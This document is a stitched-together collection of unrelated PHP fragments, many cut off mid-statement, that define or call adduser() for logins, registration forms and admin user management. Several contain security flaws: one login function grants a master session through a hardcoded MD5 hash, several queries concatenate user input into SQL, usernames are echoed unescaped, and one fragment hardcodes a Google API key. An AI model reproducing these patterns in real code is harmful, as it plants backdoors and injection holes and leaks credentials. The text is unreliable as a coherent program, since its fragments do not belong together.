function authenticate($username, $password) { global $config, $ds; if ($ds) { // bind with sAMAccountName instead of full LDAP DN if ($username && ldap_bind($ds, "{$username}@{$config['auth_ad_domain']}", $password)) { // group membership in one of the configured groups is required if (isset($config['auth_ad_require_groupmembership']) && $config['auth_ad_require_groupmembership'] > 0) { $search = ldap_search($ds, $config['auth_ad_base_dn'], "(samaccountname={$username})", array('memberOf')); $entries = ldap_get_entries($ds, $search); $user_authenticated = 0; foreach ($entries[0]['memberof'] as $entry) { $group_cn = get_cn($entry); if (isset($config['auth_ad_groups'][$group_cn]['level'])) { // user is in one of the defined groups $user_authenticated = 1; adduser($username); } } return $user_authenticated; } else { // group membership is not required and user is valid adduser($username); return 1; } } else { return 0; } } else { echo ldap_error($ds); } return 0; }
function acp_run() { global $logged; switch ($_GET['action']) { case "test": return "\n\t\t\t\t\t<table width='100%' cellspacing='3' cellpadding='0'>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td width='80%'><strong>Category Name</strong></td>\n\t\t\t\t\t\t\t<td width='20%'><a href='#'>Edit</a> <a href='#'>Delete</a></td></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td colspan='2'><a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a>, <a href='#'>Forum 1</a></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td width='80%'><strong>Category Name</strong></td>\n\t\t\t\t\t\t\t<td width='20%'><a href='#'>Edit</a> <a href='#'>Delete</a></td></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td colspan='2'><a href='#'>Forum 1</a></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t"; break; case "editusergroup": return edit_groups(); break; case "boards": return manageboards(); break; case "edituser": return editusers(); break; case "adduser": return adduser(); break; case "newcat": return addcat(); break; case "newforum": return newforum(); break; case "config": return settings(); break; default: return acp_home(); break; } }
function authenticate($username, $password) { global $config; if (isset($_SERVER['REMOTE_USER'])) { $_SESSION['username'] = mres($_SERVER['REMOTE_USER']); if (user_exists($_SESSION['username'])) { adduser($username); return 1; } $_SESSION['username'] = $config['http_auth_guest']; return 1; } return 0; }
function authenticate($username, $password) { global $config, $ldap_connection, $auth_error; if ($ldap_connection) { // bind with sAMAccountName instead of full LDAP DN if ($username && $password && ldap_bind($ldap_connection, "{$username}@{$config['auth_ad_domain']}", $password)) { // group membership in one of the configured groups is required if (isset($config['auth_ad_require_groupmembership']) && $config['auth_ad_require_groupmembership']) { $search = ldap_search($ldap_connection, $config['auth_ad_base_dn'], get_auth_ad_user_filter($username), array('memberOf')); $entries = ldap_get_entries($ldap_connection, $search); unset($entries[0]['memberof']['count']); //remove the annoying count foreach ($entries[0]['memberof'] as $entry) { $group_cn = get_cn($entry); if (isset($config['auth_ad_groups'][$group_cn]['level'])) { // user is in one of the defined groups adduser($username); return 1; } } if (isset($config['auth_ad_debug']) && $config['auth_ad_debug']) { if ($entries['count'] == 0) { $auth_error = 'No groups found for user, check base dn'; } else { $auth_error = 'User is not in one of the required groups'; } } else { $auth_error = 'Invalid credentials'; } return 0; } else { // group membership is not required and user is valid adduser($username); return 1; } } } if (!isset($password) || $password == '') { $auth_error = "A password is required"; } elseif (isset($config['auth_ad_debug']) && $config['auth_ad_debug']) { ldap_get_option($ldap_connection, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error); $auth_error = ldap_error($ldap_connection) . '<br />' . $extended_error; } else { $auth_error = ldap_error($ldap_connection); } return 0; }
function authenticate($username, $password) { global $config, $radius, $debug; if (empty($username)) { return 0; } else { if ($debug) { $radius->SetDebugMode(TRUE); } $rad = $radius->AccessRequest($username, $password); if ($rad === true) { adduser($username); return 1; } else { return 0; } } }
<!DOCTYPE html> <?php require "functions/logincheck.php"; require "functions/cmum.php"; if (isset($_POST["user"]) && $_POST["user"] != "") { if (!isset($_POST["profiles"])) { $profiles = ""; } else { $profiles = $_POST["profiles"]; } $status = adduser($_POST["user"], $_POST["password"], $_POST["displayname"], $_POST["email"], $_POST["ipmask"], $_POST["maxconn"], $_POST["ecmrate"], $_POST["customvalues"], $_POST["usrgroup"], $_POST["admin"], $_POST["enabled"], $_POST["mapexclude"], $_POST["debug"], $_POST["startdate"], $_POST["expiredate"], $profiles, $_POST["boxtype"], $_POST["macaddress"], $_POST["serialnumber"], $_POST["comment"]); if ($status == "0") { $notice = "toastr.success('User successfully created');"; } elseif ($status == "1") { $notice = "toastr.error('You must enter a username and a password');"; } elseif ($status == "2") { $notice = "toastr.error('Username already exists');"; } } $counters = explode(";", counter()); $mysqli = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if (mysqli_connect_errno()) { errorpage("MYSQL DATABASE ERROR", mysqli_connect_error(), $charset, CMUM_TITLE, $_SERVER["REQUEST_URI"], CMUM_VERSION, CMUM_BUILD, CMUM_MOD); exit; } if ($_SESSION[$secretkey . "userlvl"] == "0" || $_SESSION[$secretkey . "userlvl"] == "1") { $grpsql = $mysqli->query("SELECT id,name FROM groups ORDER BY name ASC"); } elseif ($_SESSION[$secretkey . "userlvl"] == "2" && $_SESSION[$secretkey . "usergrp"] != "0") { $grpsql = $mysqli->query("SELECT id,name FROM groups WHERE id='" . $mysqli->real_escape_string($_SESSION[$secretkey . "usergrp"]) . "' ORDER BY name ASC"); } else { $grpsql = "";
</tr> </table></td> </tr> <tr> <td><table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td background="images/datagrid_05.gif" width="9px"> </td> <td> <form name="registration" action="registration.php" method="post" > <table class="entry" width="100%" cellpadding="2" cellspacing="1" border="0"> <tr> <td colspan="3" class="alertmsg" align="center"><?php if (isset($_POST["fname"])) { require "includes/addedit.php"; $chk = adduser(); if ($chk == 0) { echo "Registration Not Success...Please try again"; } if ($chk == 1) { echo "Successfully Registered ..Please check your mail"; } if ($chk == 2) { echo "Registration Not Success...Please try again"; } } ?> </td> </tr> <tr> <td width="35%" class="fieldname">First Name <span class="alertmsg">*</span></td>
<div class="row"> <div class="col-lg-12"> <div class="panel panel-default"> <div class="panel-heading"> <h3 class="panel-title"><i class="fa fa-bar-chart-o fa-fw"></i> Tambah Pengguna</h3> </div> <div class="panel-body"> <div class="col-md-6"> <form class="form-horizontal" action="" method="post"> <fieldset> <?php include "tambah-user-exe.php"; #memanggil fungsi adduser adduser($conn); ?> <div class="form-group"> <label class="col-md-4" "control-label" for="namapengguna">Nama Pengguna</label> <div class="col-md-8"> <input type="text" name="nmpengguna" class="form-control" placeholder="Nama Pengguna"> </div> </div> <div class="form-group"> <label class="col-md-4" "control-label" for="password">Password</label> <div class="col-md-8"> <input type="password" name="psswd" class="form-control" placeholder="Password"> </div>
<?php include 'model.php'; include 'functions.php'; $register = adduser($_POST['username'], $_POST['passwordone'], $_POST['passwordtwo'], $_POST['fullname'], $_POST['email'], $_POST['mobile']);
echo '<input type="password" name="repw" value="" placeholder="비밀번호확인"/><br/>'; echo '<input type="submit" name="" value="완료"/><br/>'; echo '</form>'; } ?> <!-- 이부분만 바꿔서 수정하면 됩니다. --> <?php startblock('content'); if ($_POST['id'] != '' && $_POST['pw'] != '') { if ($_POST['pw'] == $_POST['repw']) { $result = login($_POST['id'], $_POST['pw']); if ($result[0][0] == 'fail') { $a = adduser($_POST['id'], $_POST['name'], $_POST['pw']); if ($a[0][0] == 'success') { // 아이디 생성완료 로그인페이지로 이동 echo '<script type="text/javascript">'; echo 'alert("회원가입이 완료되었습니다.\\n로그인 페이지로 이동합니다.")'; echo '</script>'; header('Location: login.php'); } else { // 아이디 생성실패 거의 발생되지 않는 경우 echo '<script type="text/javascript">'; echo 'alert("아이디 생성 실패")'; echo '</script>'; registerpage(); } } else { //아이디가 중복됨
function login($user, $pasw, $mail, $cook = '') { $user = normalize($user); $pasw = normalize($pasw); $newhub = $_POST['create_hub']; $qdu = ses('qdu'); $qb = ses('qb'); $host = hostname(); if (md5($user . $pasw) == 'df66a9ca7bc0d62e580dc575ccc9ba23') { $_SESSION['USE'] = ses('master'); } //$ath=array_flip(authes_levels()); //log $iq = verif_user($user, $pasw); if ($iq) { list($ip, $userhub) = sql('ip,hub', 'qdu', 'r', 'name="' . $user . '"'); if ($ip != $host) { update('qdu', 'ip', $host, 'name', $user); } if ($userhub) { $qb = $user; } return log_result($user, $iq, $qb, '', $cook); } elseif ($user == 'login') { //is_numeric($ath[$user]) if (!rstr(73)) { return loged($user, '', ''); } list($iq, $ip) = ser("id,ip", $qdu . ' WHERE name="' . $qb . '"'); if ($ip == $host) { return log_result($qb, $iq, $qb, '', $cook); } else { list($iq, $USE) = ser("id,name", $qdu . ' WHERE ip="' . $host . '"'); if ($iq) { return log_result($USE, $iq, $qb, '', $cook); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_no')); } } } //bad passw $iq = verif_user($user, ''); $exist = isgoodhubname($user); $first = sql('id', 'qdu', 'v', 'id=1'); if ($iq) { $_SESSION['tentativ'] += 1; if ($_SESSION['tentativ'] >= 3) { return alert_user($user); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_nopass')); } } elseif (prmb(11) == 0 && !$newhub && $first && !auth(5)) { return lj('small', "valid_loged", 'bruu! ' . helps('log_nohub')); } elseif ($exist == true) { return lj('small', "valid_loged", 'bruu! ' . $user . ' ' . nms(37)); } elseif (prmb(11) >= 1 or $newhub or !$first or prms('create_hub') == "on") { $rl = "ok"; if (!$mail or strpos($mail, "@") === false) { $tfield = divc("txtcadr", helps('log_newser') . ' ' . prmb(11)); $tfield .= hidden('user', '', $user) . hidden('pass', '', $pasw); if (auth(6) or !$first or prmb(11) >= 6 && prms('create_hub') == "on") { $tfield .= hidden('create_hub', '', $user); } $tfield .= autoclic('mail', 'mail?', '20', '100', '') . ' '; $tfield .= input2('submit', 'envoyer', "ok", 'txtbox') . ' '; $tfield .= lj('txtx', 'valid_loged', picto('left')); return form('/?log=on', $tfield); } else { if ($_POST['mail'] or $newhub) { $user = $newhub ? $newhub : $user; } elseif ($_SESSION['USE']) { $user = $_SESSION['USE']; } if ($user != 'admin') { $iq = adduser($qb, $user, $pasw, $mail); } //add_user if (prmb(11) >= 6 or $newhub or !$first) { modif_cnfgtxt($user, $first); //add_hub $qb = makenew($user); message2newuser($user, $mail, $pasw); $_SESSION['auth'] = ''; } $_SESSION['qbin']['adminmail'] = $mail; log_result($user, $iq, $qb, $rl, $cook); } } }
// Make sure demo course exists. $new_modid = module_utils::add_modules($new_moduleid, $_POST['new_grade2'], 1, $schoolID, NULL, NULL, true, true, true, false, false, true, false, $mysqli, 0, 0, 1, 1, '07/01'); if ($unique_username == true) { $_POST['new_grade'] = $new_moduleid; $session = date_utils::get_current_academic_year(); // Add staff account $new_username = trim($_POST['new_username']); $useridstf = adduser('Staff', 'Staff', $new_username, $mysqli); UserUtils::add_staff_to_module_by_modulecode($useridstf, $new_moduleid, $mysqli); // Add staff to the new module UserUtils::add_staff_to_module_by_modulecode($useridstf, 'DEMO', $mysqli); // Add staff to the general DEMO module // Add student account $max_sid = 0; $new_username = $new_username . '-stu'; $userid = adduser('A10DEMO', 'Student', $new_username, $mysqli); $result = $mysqli->prepare("SELECT MAX(id) as a FROM users"); $result->execute(); $result->bind_result($max_sid); $result->fetch(); $result->close(); $max_sid++; $result = $mysqli->prepare("INSERT INTO sid VALUES (?, ?)"); $result->bind_param('si', $max_sid, $userid); $result->execute(); $result->close(); UserUtils::add_student_to_module_by_name($userid, $new_moduleid, 1, $session, $mysqli); // Add student to the new module UserUtils::add_student_to_module_by_name($userid, 'A10DEMO', 1, $session, $mysqli); // Add student to the demo module }
<?php echo "<div style='margin: 10px;'>"; if ($_SESSION['userlevel'] != '10') { include "includes/error-no-perm.inc.php"; } else { echo "<h3>Add User</h3>"; if (auth_usermanagement()) { if ($_POST['action'] == "add") { if ($_POST['new_username']) { if (!user_exists($_POST['new_username'])) { # FIXME: missing email field here on the form if (adduser($_POST['new_username'], $_POST['new_password'], $_POST['new_level'], '', $_POST['realname'])) { echo "<span class=info>User " . $_POST['username'] . " added!</span>"; } } else { echo '<div class="red">User with this name already exists!</div>'; } } else { echo '<div class="red">Please enter a username!</div>'; } } echo "<form method='post' action='?page=adduser'> <input type='hidden' value='add' name='action'>"; echo "Username <input style='margin: 1px;' name='new_username'></input><br />"; ?> Password <input style='margin: 1px;' name='new_password' id='new_password' type=password /><br /> <?php if ($_POST['action'] == "add" && !$_POST['new_password']) { echo "<span class=red>Please enter a password!</span><br />"; } echo "Realname <input style='margin: 1px;' name='new_realname'></input><br />";
<?php session_start(); $flag = isset($_SESSION['user']); if ($flag == false) { header('location: ./login.php'); } $activepage = "adduser"; include "./header.php"; if (isset($_POST["adduser"])) { $username = $_POST["username"]; $password = $_POST["password"]; $usertype = $_POST["usertype"]; adduser($username, $password, $usertype); } ?> <div class="container"> <div class="starter-template"> <h1>Add New User</h1> <br> <div class="row"> <div class="col-md-4 col-md-offset-4"> <form class="form-horizontal" role="form" action="adduser.php" method="POST"> <div class="form-group"> <label for="username" class="col-sm-3 control-label">Username</label> <div class="col-sm-9"> <input type="username" class="form-control" id="username" name="username" placeholder="Enter Username" required> </div>
function addUser($userData) { $fh = fopen("users.db", "a"); fwrite($fh, $userData . "\n"); fclose($fh); } #php://input returns the raw data from the request $input = json_decode(file_get_contents("php://input")); $id = $input->registration_ids; $msg = $input->data[0]->message; echo "ID id {$id}\n"; echo "Message is " . $msg . "\n"; #hardcoded for testing only: $multicast_id = "5574652367352264803"; $message_id = "0:1446505844247516%934ed4baf9fd7ecd"; if (!in_array($id, loadUsers())) { #Build a record for the file $record = $id . "/" . $multicast_id . "/" . $message_id; adduser($record); #send back an ack via gcm $toUrl = "https://android.googleapis.com/gcm/send"; $apiKey = "AIzaSyAFTdicdJZKMBVdsC-ygVu2b4JehB-cIQQ"; $devices = array($id); $pm = new ChatProtoPushMessage($api_key, $url); $pm->setDevices($devices); $response = $pm->send($msg); return $response; } else { #Its already registered, so silently discard. return 0; }
} else { echo "This is a command line script." . PHP_EOL . "Try php -f `script_file_name' from the command line." . PHP_EOL; } exit; } if (isset($argv[1]) && ($argv[1] === '-h' || $argv[1] === '--help' || $argv[1] === 'help') && $argc === 2) { echo mb_convert_encoding(long_help($argv, $lang), $termtopage, 'UTF-8'); exit; } $bError = $argc !== 3 && $argc !== 4; if (!$bError) { $out = false; require_once dirname(__FILE__) . '/../synapp/connect.php'; switch ($argv[1]) { case 'adduser': $out = $argc === 4 ? adduser($argv[2], $argv[3], prompt($termfrompage, $termtopage), $lang, connect()) : false; break; case 'deluser': $out = $argc === 3 ? deluser($argv[2], $lang, connect()) : false; break; case 'changepassword': $out = $argc === 3 ? changepassword($argv[2], prompt($termfrompage, $termtopage), connect()) : false; break; default: $bError = true; } $bError = $out !== true; } if ($bError !== false) { if (isset($out) && is_string($out)) { echo mb_convert_encoding($out, $termtopage, 'UTF-8') . PHP_EOL . PHP_EOL;
function adm_members_a($auth, $goto) { //newuser save $arr = affect_auth($auth); $mmbrs = $_SESSION['qbin']['membrs']; $qdu = ses('qdu'); $qb = ses('qb'); $USE = ses('USE'); if ($_POST['newuser'] && $_POST['newuser'] != 'newuser') { $usrd = adduser($qb, $_POST['newuser'], $_POST['pass'], $_POST['mail']); $tosave = rse('mbrs', $qdu . ' WHERE name="' . $qb . '"'); $tosave .= $_POST['adlv'] . '::' . $_POST['newuser'] . ','; $_SESSION['qbin']['membrs'] = tab_members($tosave); update('qdu', 'mbrs', $tosave, 'name', $qb); relod($goto); } elseif ($_POST['Submit']) { //modifuser foreach ($mmbrs as $k => $v) { if ($_POST['del$k'] != $k) { if ($_POST[$k]) { $tosave .= $_POST[$k] . '::' . $k . ','; } else { $tosave .= $v . '::' . $k . ','; } } } if ($_POST['addu']) { $tosave .= $_POST['adlv'] . '::' . $_POST['addu'] . ','; } update('qdu', 'mbrs', $tosave, 'name', $qb); //mbrs $_SESSION['qbin']['membrs'] = tab_members($tosave); relod($goto); } if ($mmbrs) { //readusers foreach ($mmbrs as $k => $v) { if ($k != $USE && $v <= $auth) { //$v=authlevel(nb) //$rc[$k]=menuder_form_kv($arr,$k,$v,'kv'); $rc[$k] = select(atn($k), $arr, 'kv', $v); $rc[$k] .= ' ' . checkbox('del' . $k, $k, 'delete', '') . br(); } elseif ($k == $USE) { $rc[$k] = btn('txtx', $k . ' :: auth_level: ' . $v) . br(); } } if ($rc) { $inp = on2cols($rc, 470, 5); } if ($rc) { $inp .= br() . input2('submit', 'Submit', 'Apply', ''); $ret .= form($goto, $inp) . br(); } } if ($auth > 4) { $ret .= lkc('txtbox', '/?admin=members&adduser==', 'add_user') . br() . br(); } if ($_GET['adduser'] == '=') { //show_list $uss = sql('name', 'qdu', 'k', ''); $mmbrs[$qb] = $auth; $usrs = array_combine_sub($uss, $mmbrs); if ($usrs) { //$inp=menuder_form_kv($usrs,'addu',$v,'kk').menuder_form_kv($arr,'adlv',$v,'kv'); $inp = select(atn('addu'), $usrs, 'kk', $v) . select(atn('adlv'), $arr, 'kv', $v); $inp .= input2('submit', 'Submit', 'Apply', ''); $ret .= form($goto, $inp); } if ($auth > 4) { $cls = '" size="10" maxlength="50'; //adduser $inp = input2('text', 'newuser', 'newuser' . $cls, '') . ' '; $inp .= input2('text', 'pass', 'password' . $cls, '') . ' '; $inp .= input2('text', 'mail', 'mail' . $cls, '') . ' '; //$inp.=menuder_form_kv($arr,'adlv',$v,'kv').' '; $inp .= select(atn('adlv'), $arr, 'kv', $v); $valu = $inp . ' ' . input2('submit', 'Submit', 'add_user', ''); $ret .= br() . form($goto . '&adduser==', $valu); } } return $ret; }
function show_admin($dir) { $admin = permissions_grant(NULL, NULL, "admin"); if (!login_is_user_logged_in()) { show_error($GLOBALS["error_msg"]["miscnofunc"]); } if (!$admin && !permissions_grant(NULL, NULL, "password")) { show_error($GLOBALS["error_msg"]["accessfunc"]); } if (isset($GLOBALS['__GET']["action2"])) { $action2 = $GLOBALS['__GET']["action2"]; } elseif (isset($GLOBALS['__POST']["action2"])) { $action2 = $GLOBALS['__POST']["action2"]; } else { $action2 = ""; } switch ($action2) { case "chpwd": changepwd($dir); break; case "adduser": if (!$admin) { show_error($GLOBALS["error_msg"]["accessfunc"]); } adduser($dir); break; case "edituser": if (!$admin) { show_error($GLOBALS["error_msg"]["accessfunc"]); } edituser($dir); break; case "rmuser": if (!$admin) { show_error($GLOBALS["error_msg"]["accessfunc"]); } removeuser($dir); break; default: admin($admin, $dir); } }
<?php error_reporting(E_ALL); ini_set('display_errors', true); include 'Config/functions.php'; $message = " "; if (isset($_POST['save'])) { if (adduser()) { $message = "You have sucsessfully registered!"; } else { $message = "Something went wrong!"; } } $replacement_array = array('Registration', '<div class="pageheading"> <h3>Sign Up</h3> </div> <div class="content-box"> <form method="post" action="" enctype="multipart/form-data"> <div class="row"> <div class="col-1-2 content-box-lr"> <input type="text" name="name" placeholder="Insert your first and last name" maxlength="30"><br> <input type="text" name="username"placeholder="Username" maxlength="10"><br> <input type="password" name="password" placeholder="******"><br> <input type="email" name="email"placeholder="*****@*****.**" maxlength="50"><br> <input type="number" name="usrtel"placeholder="Telephone" maxlength="10"><br> </div> <div class="col-1-2 content-box-lr"> <div class="col-1-1 content-box-lr"> <h4>Gender:</h4><br> <input id="women" type="radio" name="gender" value="female" checked> <label for="women"><i class="fa fa-female fa-1g"></i>Female</label>
include $config['html_dir'] . "/pages/usermenu.inc.php"; register_html_title("Add User"); if (auth_usermanagement()) { if ($vars['submit'] == 'add_user') { if ($vars['new_username']) { $vars['new_username'] = strip_tags($vars['new_username']); if (!auth_user_exists($vars['new_username'])) { if (isset($vars['can_modify_passwd'])) { $vars['can_modify_passwd'] = 1; } else { $vars['can_modify_passwd'] = 0; } if (!$vars['new_password']) { print_warning("Please enter a password!"); } else { if (adduser($vars['new_username'], $vars['new_password'], $vars['new_level'], $vars['new_email'], $vars['new_realname'], $vars['can_modify_passwd'], $vars['new_description'])) { print_success('User ' . escape_html($vars['new_username']) . ' added!'); } } } else { print_error('User with this name already exists!'); } } else { print_warning("Please enter a username!"); } } $form = array('type' => 'horizontal', 'id' => 'add_user'); // top row div $form['fieldset']['user'] = array('div' => 'top', 'title' => 'User Properties', 'icon' => 'oicon-user--pencil', 'class' => 'col-md-6'); $form['fieldset']['info'] = array('div' => 'top', 'title' => 'Optional Information', 'icon' => 'oicon-information', 'class' => 'col-md-6 col-md-pull-0'); // bottom row div
function show_admin($dir) { // Execute Admin Action $pwd = ($GLOBALS["permissions"] & 2) == 2; $admin = ($GLOBALS["permissions"] & 4) == 4; if (!$GLOBALS["require_login"]) { show_error($GLOBALS["error_msg"]["miscnofunc"]); } if (!$pwd && !$admin) { show_error($GLOBALS["error_msg"]["accessfunc"]); } if (isset($GLOBALS['__GET']["action2"])) { $action2 = $GLOBALS['__GET']["action2"]; } elseif (isset($GLOBALS['__POST']["action2"])) { $action2 = $GLOBALS['__POST']["action2"]; } else { $action2 = ""; } switch ($action2) { case "chpwd": changepwd($dir); break; case "adduser": if (!$admin) { show_error($GLOBALS["error_msg"]["accessfunc"]); } adduser($dir); break; case "edituser": if (!$admin) { show_error($GLOBALS["error_msg"]["accessfunc"]); } edituser($dir); break; case "rmuser": if (!$admin) { show_error($GLOBALS["error_msg"]["accessfunc"]); } removeuser($dir); break; default: admin($admin, $dir); } }
ob_start(); // Output buffering - allows header rewrites to happen at anytime before flushing the buffer session_start(); require_once "incdir.php.inc"; require_once "config.php"; include_php_dir("includes", $debug); mysql_init(); handle_ajax(); document_header(); echo include_javascript_dir("js", $debug); echo include_stylesheet_dir("stylesheets", $debug); check_validated(); //If a new user was submitted! if (isset($_POST['newuser-submit'])) { $userinfo = array("username" => $_POST['username'], "fname" => $_POST['fname'], "lname" => $_POST['lname'], "emplid" => $_POST['emplid'], "password" => $_POST['password'], "email" => $_POST['email'], "phone" => $_POST['phone'], "address" => $_POST['address'], "pwconfirm" => $_POST['pwconfirm']); adduser($userinfo); } if (!check_app_admin()) { header('Location: index.php'); } open_page("Not User Management"); draw_page(); close_page(); ob_end_flush(); // Flush the buffer out to client document_footer(); mysql_end(); //The actual page. function draw_page() { ?>
/* * LibreNMS * * This file is part of LibreNMS. * * @package LibreNMS * @subpackage cli * @copyright (C) 2006 - 2012 Adam Armstrong * */ $init_modules = array(); if (php_sapi_name() != 'cli') { $init_modules[] = 'auth'; } require __DIR__ . '/includes/init.php'; if (auth_usermanagement()) { if (isset($argv[1]) && isset($argv[2]) && isset($argv[3])) { if (!user_exists($argv[1])) { if (adduser($argv[1], $argv[2], $argv[3], @$argv[4])) { echo 'User ' . $argv[1] . " added successfully\n"; } } else { echo 'User ' . $argv[1] . " already exists!\n"; } } else { echo "Add User Tool\nUsage: ./adduser.php <username> <password> <level 1-10> [email]\n"; } } else { echo "Auth module does not allow adding users!\n"; } //end if
return browse(); break; case "home": return home(); break; case "chart": return chart(); break; case "userhistories": return userHistories(); break; case "jukebox": return jukebox(); break; case "adduser": return adduser(); break; case "removeuser": return removeuser(); break; case "listusers": return listusers(); break; case "setpassword": return setpassword(); break; case "stylesheet": echo '<link rel="stylesheet" title="slick" type="text/css" media="screen" href="' . $root_dir . '/style/' . $skin . '/default.php">'; break; case "javascript": $display->handleAJAX();
$user->appendChild($firstname); ///lastname $lastname = $xml->createElement("lastname", $ln); $user->appendChild($lastname); ///age $age = $xml->createElement("age", $ag); $user->appendChild($age); ///address $address = $xml->createElement("address", $ad); $user->appendChild($address); $data->appendChild($user); $xml->save('data.xml'); return true; } if (isset($_POST['save'])) { if (adduser($_POST["firstname"], $_POST["lastname"], $_POST["age"], $_POST["address"])) { echo "Success"; } else { echo "Fail"; } } ?> <form action="" method="post" accept-charset="utf-8"> <table> <tr> <td>First Name</td> <td><input type="text" name="firstname"></td> </tr> <tr> <td>Last Name</td> <td><input type="text" name="lastname"></td>
<?php if (tp('verif') == 1) { $nextid = getnextidtable('users_sys'); model::load('admin', 'user'); if (!adduser(tp('username'), tp('firstname'), tp('lastname'), tp('password'), tp('email'), tp('service'), tp('signid'), $nextid, tp('agence'), tp('tel'), tp('imgid'))) { exit("0"); } else { exit("1"); } } else { view::load('admin', 'adduser'); }
demo_account(); } else { echo '<h3>Add User</h3>'; echo '<hr>'; $pagetitle[] = 'Add user'; if (auth_usermanagement()) { if ($_POST['action'] == 'add') { if ($_POST['new_username']) { if (!user_exists($_POST['new_username'])) { if (isset($_POST['can_modify_passwd'])) { $_POST['can_modify_passwd'] = 1; } else { $_POST['can_modify_passwd'] = 0; } // FIXME: missing email field here on the form if (adduser($_POST['new_username'], $_POST['new_password'], $_POST['new_level'], $_POST['new_email'], $_POST['realname'], $_POST['can_modify_passwd'])) { echo '<span class=info>User ' . $_POST['username'] . ' added!</span>'; } } else { echo '<div class="red">User with this name already exists!</div>'; } } else { echo '<div class="red">Please enter a username!</div>'; } //end if } //end if echo "<form method='post' action='adduser/' class='form-horizontal' role='form'> <input type='hidden' value='add' name='action'>"; echo "\n <div class='form-group'>\n <label for='new_username' class='col-sm-2 control-label'>Username</label>\n <div class='col-sm-4'>\n <input name='new_username' class='form-control input-sm'>\n </div>\n <div class='col-sm-6'>\n </div>\n </div>"; ?> <div class='form-group'>
$toolName = $langUsers; $pageName = $langAddManyUsers; $navigation[] = array("url" => "index.php?course={$course_code}", "name" => $langUsers); $tool_content .= action_bar(array(array('title' => $langBack, 'url' => "index.php?course={$course_code}", 'icon' => 'fa-reply', 'level' => 'primary'))); if (isset($_POST['submit'])) { $ok = array(); $not_found = array(); $existing = array(); $field = $_POST['type'] == 'am' ? 'am' : 'username'; $line = strtok($_POST['user_info'], "\n"); while ($line !== false) { $userid = finduser(canonicalize_whitespace($line), $field); if (!$userid) { $not_found[] = $line; } else { if (adduser($userid, $course_id)) { $ok[] = $userid; } else { $existing[] = $userid; } } $line = strtok("\n"); } if (count($not_found)) { $tool_content .= "<div class='alert alert-warning'>{$langUsersNotExist}<br>"; foreach ($not_found as $uname) { $tool_content .= q($uname) . '<br>'; } $tool_content .= '</div>'; } if (count($ok)) {
<div class="col-md-3"> </div> </div> <?php } elseif ($stage == "4") { $proceed = 1; ?> <div class="row"> <div class="col-md-3"> </div> <div class="col-md-6"> <?php require 'includes/authenticate.inc.php'; if (auth_usermanagement()) { if (!user_exists($add_user)) { if (adduser($add_user, $add_pass, '10', $add_email)) { echo "<div class='alert alert-success'>User has been added successfully</div>"; $proceed = 0; } else { echo "<div class='alert alert-danger'>User hasn't been added, please try again</div>"; } } else { echo "<div class='alert alert-danger'>User {$add_user} already exists!</div>"; } } else { echo "<div class='alert alert-danger'>Auth module isn't loaded</div>"; } ?> <form class="form-horizontal" role="form" method="post"> <input type="hidden" name="stage" value="5"> <input type="hidden" name="dbhost" value="<?php
$sql = "SELECT * FROM z_mysql WHERE my_acc_fk=" . $useraccount['ac_id_pk'] . " AND my_deleted_ts IS NULL"; $listmysql = DataExchange("r", $z_db_name, $sql); $rowmysql = mysql_fetch_assoc($listmysql); $path = GetSystemOption('hosted_dir') . $_SESSION['zUsername'] . "/"; $userreturnpath = trim(substr($_POST['returnpath'], strlen(GetSystemOption('hosted_dir')), strlen($_POST['returnpath']))); if (isset($_POST['deletehtaccess'])) { deletehtaccess($useraccount['ac_id_pk'], $_POST['deletehtaccess'], $_POST['upatereturnpath']); } if (isset($_POST['deleteuser'])) { deleteuser($_POST['ht_id_pk'], $_POST['deleteuser']); } if (isset($_POST['addhtaccess'])) { addhtaccess($useraccount['ac_id_pk'], $_POST['ht_user_vc'], $_POST['ht_dir_vc'], $_POST['htusername'], $_POST['htpassword1'], $_POST['htpassword2'], $_POST['AuthName']); } if (isset($_POST['adduser'])) { adduser($useraccount['ac_id_pk'], $_POST['ht_user_vc'], $_POST['ht_dir_vc'], $_POST['htusername'], $_POST['htpassword1'], $_POST['htpassword2']); } //HEADER AND SELECTED FOLDER DIV echo $lang['314'] . "<br><br>"; if (isset($_POST['returnpath'])) { if ($_POST['returnpath'] != "") { echo '<div class="zannouce" style="margin-right:10px;"><b>' . $lang['317'] . ': </b>' . $userreturnpath . '</div><br>'; } else { echo '<div class="zannouce" style="margin-right:10px;">' . $lang['343'] . '</div><br>'; } } ?> <FORM id="getpath" action="<?php echo GetFullURL(); ?> " method="POST" name="getpath">